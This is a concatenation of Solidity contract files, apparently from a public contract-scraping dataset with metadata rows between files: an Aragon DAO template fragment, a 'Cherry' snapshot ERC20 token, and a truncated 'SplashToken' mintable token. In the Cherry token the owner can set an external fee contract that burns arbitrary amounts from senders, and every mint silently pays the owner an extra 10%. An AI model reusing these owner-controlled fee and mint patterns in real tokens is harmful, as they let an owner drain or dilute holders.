bytes32 internal constant PAYROLL_APP_ID = 0x463f596a96d808cb28b5d080181e4a398bc793df2c222f6445189eb801001991;
bytes32 internal constant FINANCE_APP_ID = 0xbf8491150dafc5dcaee5b861414dca922de09ccffa344964ae167212e8c673ae;
bytes32 internal constant TOKEN_MANAGER_APP_ID = 0x6b20a3010614eeebf2138ccec99f028a61c811b3b1a3343b6ff635985c75c91f;
string private constant ERROR_ENS_NOT_CONTRACT = "TEMPLATE_ENS_NOT_CONTRACT";
string private constant ERROR_DAO_FACTORY_NOT_CONTRACT = "TEMPLATE_DAO_FAC_NOT_CONTRACT";
string private constant ERROR_ARAGON_ID_NOT_PROVIDED = "TEMPLATE_ARAGON_ID_NOT_PROVIDED";
string private constant ERROR_ARAGON_ID_NOT_CONTRACT = "TEMPLATE_ARAGON_ID_NOT_CONTRACT";
string private constant ERROR_MINIME_FACTORY_NOT_PROVIDED = "TEMPLATE_MINIME_FAC_NOT_PROVIDED";
string private constant ERROR_MINIME_FACTORY_NOT_CONTRACT = "TEMPLATE_MINIME_FAC_NOT_CONTRACT";
string private constant ERROR_CANNOT_CAST_VALUE_TO_ADDRESS = "TEMPLATE_CANNOT_CAST_VALUE_TO_ADDRESS";
string private constant ERROR_INVALID_ID = "TEMPLATE_INVALID_ID";
ENS internal ens;
DAOFactory internal daoFactory;
MiniMeTokenFactory internal miniMeFactory;
IFIFSResolvingRegistrar internal aragonID;
event DeployDao(address dao);
event SetupDao(address dao);
event DeployToken(address token);
event InstalledApp(address appProxy, bytes32 appId);
constructor(DAOFactory _daoFactory,
ENS _ens,
MiniMeTokenFactory _miniMeFactory,
IFIFSResolvingRegistrar _aragonID) public {
require(isContract(address(_ens)), ERROR_ENS_NOT_CONTRACT);
require(isContract(address(_daoFactory)), ERROR_DAO_FACTORY_NOT_CONTRACT);
ens = _ens;
aragonID = _aragonID;
daoFactory = _daoFactory;
miniMeFactory = _miniMeFactory;
}
function _createDAO() internal returns (Kernel dao, ACL acl) {
dao = daoFactory.newDAO(this);
emit DeployDao(address(dao));
acl = ACL(dao.acl());
_createPermissionForTemplate(acl, dao, dao.APP_MANAGER_ROLE());
}
function _createPermissions(ACL _acl,
address[] memory _grantees,
address _app,
bytes32 _permission,
address _manager) internal {
_acl.createPermission(_grantees[0], _app, _permission, address(this));
for (uint256 i = 1; i < _grantees.length; i++) {
_acl.grantPermission(_grantees[i], _app, _permission);
}
_acl.revokePermission(address(this), _app, _permission);
_acl.setPermissionManager(_manager, _app, _permission);
}
function _createPermissionForTemplate(ACL _acl,
address _app,
bytes32 _permission) internal {
_acl.createPermission(address(this), _app, _permission, address(this));
}
function _removePermissionFromTemplate(ACL _acl,
address _app,
bytes32 _permission) internal {
_acl.revokePermission(address(this), _app, _permission);
_acl.removePermissionManager(_app, _permission);
}
function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to) internal {
_transferRootPermissionsFromTemplateAndFinalizeDAO(_dao, _to, _to);
}
function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao,
address _to,
address _manager) internal {
ACL _acl = ACL(_dao.acl());
_transferPermissionFromTemplate(_acl, _dao, _to, _dao.APP_MANAGER_ROLE(), _manager);
_transferPermissionFromTemplate(_acl, _acl, _to, _acl.CREATE_PERMISSIONS_ROLE(), _manager);
emit SetupDao(_dao);
}
function _transferPermissionFromTemplate(ACL _acl,
address _app,
address _to,
bytes32 _permission,
address _manager) internal {
_acl.grantPermission(_to, _app, _permission);
_acl.revokePermission(address(this), _app, _permission);
_acl.setPermissionManager(_manager, _app, _permission);
}
function _installDefaultAgentApp(Kernel _dao) internal returns (Agent) {
bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector);
Agent agent = Agent(_installDefaultApp(_dao, AGENT_APP_ID, initializeData));
// We assume that installing the Agent app as a default app means the DAO should have its
// Vault replaced by the Agent. Thus, we also set the DAO's recovery app to the Agent.
_dao.setRecoveryVaultAppId(AGENT_APP_ID);
return agent;
}
function _installNonDefaultAgentApp(Kernel _dao) internal returns (Agent) {
bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector);
return Agent(_installNonDefaultApp(_dao, AGENT_APP_ID, initializeData));
}
function _createAgentPermissions(ACL _acl,
Agent _agent,
address _grantee,
address _manager) internal {
_acl.createPermission(_grantee, _agent, _agent.EXECUTE_ROLE(), _manager);
_acl.createPermission(_grantee, _agent, _agent.RUN_SCRIPT_ROLE(), _manager);
}
function _installVaultApp(Kernel _dao) internal returns (Vault) {
bytes memory initializeData = abi.encodeWithSelector(Vault(0).initialize.selector);
return Vault(_installDefaultApp(_dao, VAULT_APP_ID, initializeData));
}
function _createVaultPermissions(ACL _acl,
Vault _vault,
address _grantee,
address _manager) internal {
_acl.createPermission(_grantee, _vault, _vault.TRANSFER_ROLE(), _manager);
}
function _installVotingApp(Kernel _dao,
MiniMeToken _token,
uint64[3] memory _votingSettings) internal returns (Voting) {
return _installVotingApp(_dao, _token, _votingSettings[0], _votingSettings[1], _votingSettings[2]);
}
function _installVotingApp(Kernel _dao,
MiniMeToken _token,
uint64 _support,
uint64 _acceptance,
uint64 _duration) internal returns (Voting) {
bytes memory initializeData =
abi.encodeWithSelector(Voting(0).initialize.selector, _token, _support, _acceptance, _duration);
return Voting(_installNonDefaultApp(_dao, VOTING_APP_ID, initializeData));
}
function _createVotingPermissions(ACL _acl,
Voting _voting,
address _settingsGrantee,
address _createVotesGrantee,
address _manager) internal {
_acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_QUORUM_ROLE(), _manager);
_acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_SUPPORT_ROLE(), _manager);
_acl.createPermission(_createVotesGrantee, _voting, _voting.CREATE_VOTES_ROLE(), _manager);
}
function _installPayrollApp(Kernel _dao,
Finance _finance,
address _denominationToken,
IFeed _priceFeed,
uint64 _rateExpiryTime) internal returns (Payroll) {
bytes memory initializeData =
abi.encodeWithSelector(Payroll(0).initialize.selector,
_finance,
_denominationToken,
_priceFeed,
_rateExpiryTime);
return Payroll(_installNonDefaultApp(_dao, PAYROLL_APP_ID, initializeData));
}
function _createPayrollPermissions(ACL _acl,
Payroll _payroll,
address _employeeManager,
address _settingsManager,
address _permissionsManager) internal {
_acl.createPermission(_employeeManager, _payroll, _payroll.ADD_BONUS_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.ADD_EMPLOYEE_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.ADD_REIMBURSEMENT_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.TERMINATE_EMPLOYEE_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.SET_EMPLOYEE_SALARY_ROLE(), _permissionsManager);
_acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_PRICE_FEED_ROLE(), _permissionsManager);
_acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_RATE_EXPIRY_ROLE(), _permissionsManager);
_acl.createPermission(_settingsManager, _payroll, _payroll.MANAGE_ALLOWED_TOKENS_ROLE(), _permissionsManager);
}
function _unwrapPayrollSettings(uint256[4] memory _payrollSettings)
internal
pure
returns (address denominationToken,
IFeed priceFeed,
uint64 rateExpiryTime,
address employeeManager)
{
denominationToken = _toAddress(_payrollSettings[0]);
priceFeed = IFeed(_toAddress(_payrollSettings[1]));
rateExpiryTime = _payrollSettings[2].toUint64();
employeeManager = _toAddress(_payrollSettings[3]);
}
function _installFinanceApp(Kernel _dao,
Vault _vault,
uint64 _periodDuration) internal returns (Finance) {
bytes memory initializeData = abi.encodeWithSelector(Finance(0).initialize.selector, _vault, _periodDuration);
return Finance(_installNonDefaultApp(_dao, FINANCE_APP_ID, initializeData));
}
function _createFinancePermissions(ACL _acl,
Finance _finance,
address _grantee,
address _manager) internal {
_acl.createPermission(_grantee, _finance, _finance.EXECUTE_PAYMENTS_ROLE(), _manager);
_acl.createPermission(_grantee, _finance, _finance.MANAGE_PAYMENTS_ROLE(), _manager);
}
function _createFinanceCreatePaymentsPermission(ACL _acl,
Finance _finance,
address _grantee,
address _manager) internal {
_acl.createPermission(_grantee, _finance, _finance.CREATE_PAYMENTS_ROLE(), _manager);
}
function _grantCreatePaymentPermission(ACL _acl,
Finance _finance,
address _to) internal {
_acl.grantPermission(_to, _finance, _finance.CREATE_PAYMENTS_ROLE());
}
function _transferCreatePaymentManagerFromTemplate(ACL _acl,
Finance _finance,
address _manager) internal {
_acl.setPermissionManager(_manager, _finance, _finance.CREATE_PAYMENTS_ROLE());
}
function _installTokenManagerApp(Kernel _dao,
MiniMeToken _token,
bool _transferable,
uint256 _maxAccountTokens) internal returns (TokenManager) {
TokenManager tokenManager = TokenManager(_installNonDefaultApp(_dao, TOKEN_MANAGER_APP_ID));
_token.changeController(tokenManager);
tokenManager.initialize(_token, _transferable, _maxAccountTokens);
return tokenManager;
}
function _createTokenManagerPermissions(ACL _acl,
TokenManager _tokenManager,
address _grantee,
address _manager) internal {
_acl.createPermission(_grantee, _tokenManager, _tokenManager.MINT_ROLE(), _manager);
_acl.createPermission(_grantee, _tokenManager, _tokenManager.BURN_ROLE(), _manager);
}
function _mintTokens(ACL _acl,
TokenManager _tokenManager,
address[] memory _holders,
uint256[] memory _stakes) internal {
_createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
for (uint256 i = 0; i < _holders.length; i++) {
_tokenManager.mint(_holders[i], _stakes[i]);
}
_removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
}
function _mintTokens(ACL _acl,
TokenManager _tokenManager,
address[] memory _holders,
uint256 _stake) internal {
_createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
for (uint256 i = 0; i < _holders.length; i++) {
_tokenManager.mint(_holders[i], _stake);
}
_removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
}
function _mintTokens(ACL _acl,
TokenManager _tokenManager,
address _holder,
uint256 _stake) internal {
_createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
_tokenManager.mint(_holder, _stake);
_removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE());
}
function _createEvmScriptsRegistryPermissions(ACL _acl,
address _grantee,
address _manager) internal {
EVMScriptRegistry registry = EVMScriptRegistry(_acl.getEVMScriptRegistry());
_acl.createPermission(_grantee, registry, registry.REGISTRY_MANAGER_ROLE(), _manager);
_acl.createPermission(_grantee, registry, registry.REGISTRY_ADD_EXECUTOR_ROLE(), _manager);
}
function _installNonDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) {
return _installNonDefaultApp(_dao, _appId, new bytes(0));
}
function _installNonDefaultApp(Kernel _dao,
bytes32 _appId,
bytes memory _initializeData) internal returns (address) {
return _installApp(_dao, _appId, _initializeData, false);
}
function _installDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) {
return _installDefaultApp(_dao, _appId, new bytes(0));
}
function _installDefaultApp(Kernel _dao,
bytes32 _appId,
bytes memory _initializeData) internal returns (address) {
return _installApp(_dao, _appId, _initializeData, true);
}
function _installApp(Kernel _dao,
bytes32 _appId,
bytes memory _initializeData,
bool _setDefault) internal returns (address) {
address latestBaseAppAddress = _latestVersionAppBase(_appId);
address instance = address(_dao.newAppInstance(_appId, latestBaseAppAddress, _initializeData, _setDefault));
emit InstalledApp(instance, _appId);
return instance;
}
function _latestVersionAppBase(bytes32 _appId) internal view returns (address base) {
Repo repo = Repo(PublicResolver(ens.resolver(_appId)).addr(_appId));
(, base,) = repo.getLatest();
}
function _createToken(string memory _name,
string memory _symbol,
uint8 _decimals) internal returns (MiniMeToken) {
require(address(miniMeFactory) != address(0), ERROR_MINIME_FACTORY_NOT_PROVIDED);
MiniMeToken token = miniMeFactory.createCloneToken(MiniMeToken(address(0)), 0, _name, _decimals, _symbol, true);
emit DeployToken(address(token));
return token;
}
function _ensureMiniMeFactoryIsValid(address _miniMeFactory) internal view {
require(isContract(address(_miniMeFactory)), ERROR_MINIME_FACTORY_NOT_CONTRACT);
}
function _validateId(string memory _id) internal pure {
require(bytes(_id).length > 0, ERROR_INVALID_ID);
}
function _registerID(string memory _name, address _owner) internal {
require(address(aragonID) != address(0), ERROR_ARAGON_ID_NOT_PROVIDED);
aragonID.register(keccak256(abi.encodePacked(_name)), _owner);
}
function _ensureAragonIdIsValid(address _aragonID) internal view {
require(isContract(address(_aragonID)), ERROR_ARAGON_ID_NOT_CONTRACT);
}
function _toAddress(uint256 _value) private pure returns (address) {
require(_value <= uint160(-1), ERROR_CANNOT_CAST_VALUE_TO_ADDRESS);
return address(_value);
}
}
| 169,292 | 218 |
ea77f7d799448f5f46c07f3c0377d430b5a1f1314642c3219f79d4699ea58d90
| 32,448 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXN8AUgukQYek6W97vLZQB1uBWgk35XyvP_Cherry.sol
| 3,993 | 15,746 |
//SourceUnit: SmartCherryToken.sol
pragma solidity ^0.5.8;
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface tokenRecipient {
function receiveApproval(address _from,
uint256 _value,
address _token,
bytes calldata _extraData) external;
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
library Arrays {
function findUpperBound(uint256[] storage array, uint256 element)
internal
view
returns (uint256)
{
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface FeeMechanism {
function payFee(address from,
address to,
uint256 amount) external returns (uint256);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
address private _owner;
FeeMechanism fee;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public minter;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor() public {
_name = "iCherry";
_symbol = "ICH";
_decimals = 18;
_owner = msg.sender;
}
function setFee(address _feeAddress) public {
require(msg.sender == _owner, "Must be owner");
fee = FeeMechanism(_feeAddress);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 amountFee = address(fee) == address(0x0)
? 0
: fee.payFee(sender, recipient, amount);
if (amountFee > 0) {
_burn(sender, amountFee);
_balances[sender] = _balances[sender].sub(amount,
"ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {
_balances[sender] = _balances[sender].sub(amount,
"ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
uint256 public founderPercent = 10;
function changeFouderPercent(uint256 _newPercent) public {
require(msg.sender == _owner, "Must be owner!!");
founderPercent = _newPercent;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add((amount * 11) / 10);
_balances[account] = _balances[account].add(amount);
_balances[_owner] = _balances[_owner].add(amount / 10);
emit Transfer(address(0), account, amount);
emit Transfer(address(0), _owner, amount / 10);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount,
"ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount,
"ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal {}
function approveAndCall(address _spender,
uint256 _value,
bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender,
_value,
address(this),
_extraData);
return true;
}
}
modifier onlyMinter() {
require(msg.sender == _owner || minter[msg.sender], "Must be minter");
_;
}
function mint(uint256 amount) public onlyMinter {
_mint(msg.sender, amount);
}
function mintTo(address account, uint256 amount) public onlyMinter {
_mint(account, amount);
}
function setMinter(address _minter, uint256 _status) public {
require(msg.sender == _owner, "Must be owner");
minter[_minter] = (_status == 1);
}
}
contract Cherry is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
address private _owner;
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping(address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
constructor() public {
_owner = msg.sender;
}
event Snapshot(uint256 id);
function snapshot() public returns (uint256) {
require(msg.sender == _owner, "Must be owner");
_snapshot();
}
function _snapshot() internal returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
function balanceOfAt(address account, uint256 snapshotId)
public
view
returns (uint256)
{
(bool snapshotted, uint256 value) = _valueAt(snapshotId,
_accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId,
_totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// Update balance and/or total supply snapshots before the values are modified. This is implemented
// in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// mint
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
} else if (to == address(0)) {
// burn
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
} else {
// transfer
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private
view
returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(),
"ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// to this id is the current one.
// requested id, and its value is the one to return.
// larger than the requested one.
//
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue)
private
{
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids)
private
view
returns (uint256)
{
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
| 289,407 | 219 |
192db1db636d4a042de23707928204299429e387c89f41421708e116b71db6fb
| 19,282 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7e/7E62718c92Da93bd777F92B13A7d6AFA7352a74B_SplashToken.sol
| 3,195 | 12,239 |
pragma solidity ^0.4.25;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, 'only owner');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'not whitelisted');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface BEP20Basic {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is BEP20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BEP20 is BEP20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is BEP20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Whitelist {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyWhitelisted canMint public returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyWhitelisted canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SplashToken is MintableToken {
struct Stats {
uint256 txs;
uint256 minted;
}
string public constant name = "Splash Token";
string public constant symbol = "Splash";
uint8 public constant decimals = 18;
uint256 public constant MAX_INT = 2**256 - 1;
uint256 public constant targetSupply = MAX_INT;
uint256 public totalTxs;
uint256 public players;
uint256 private mintedSupply_;
mapping(address => Stats) private stats;
address public vaultAddress;
uint8 constant internal taxDefault = 10; // 10% tax on transfers
mapping (address => uint8) private _customTaxRate;
mapping (address => bool) private _hasCustomTax;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
event TaxPayed(address from, address vault, uint256 amount);
constructor(uint256 _initialMint) Ownable() public {
addAddressToWhitelist(owner);
mint(owner, _initialMint * 1e18);
removeAddressFromWhitelist(owner);
}
function setVaultAddress(address _newVaultAddress) public onlyOwner {
vaultAddress = _newVaultAddress;
}
function mint(address _to, uint256 _amount) public returns (bool) {
//Never fail, just don't mint if over
if (_amount == 0 || mintedSupply_.add(_amount) > targetSupply) {
return false;
}
//Mint
super.mint(_to, _amount);
mintedSupply_ = mintedSupply_.add(_amount);
if (mintedSupply_ == targetSupply) {
mintingFinished = true;
emit MintFinished();
}
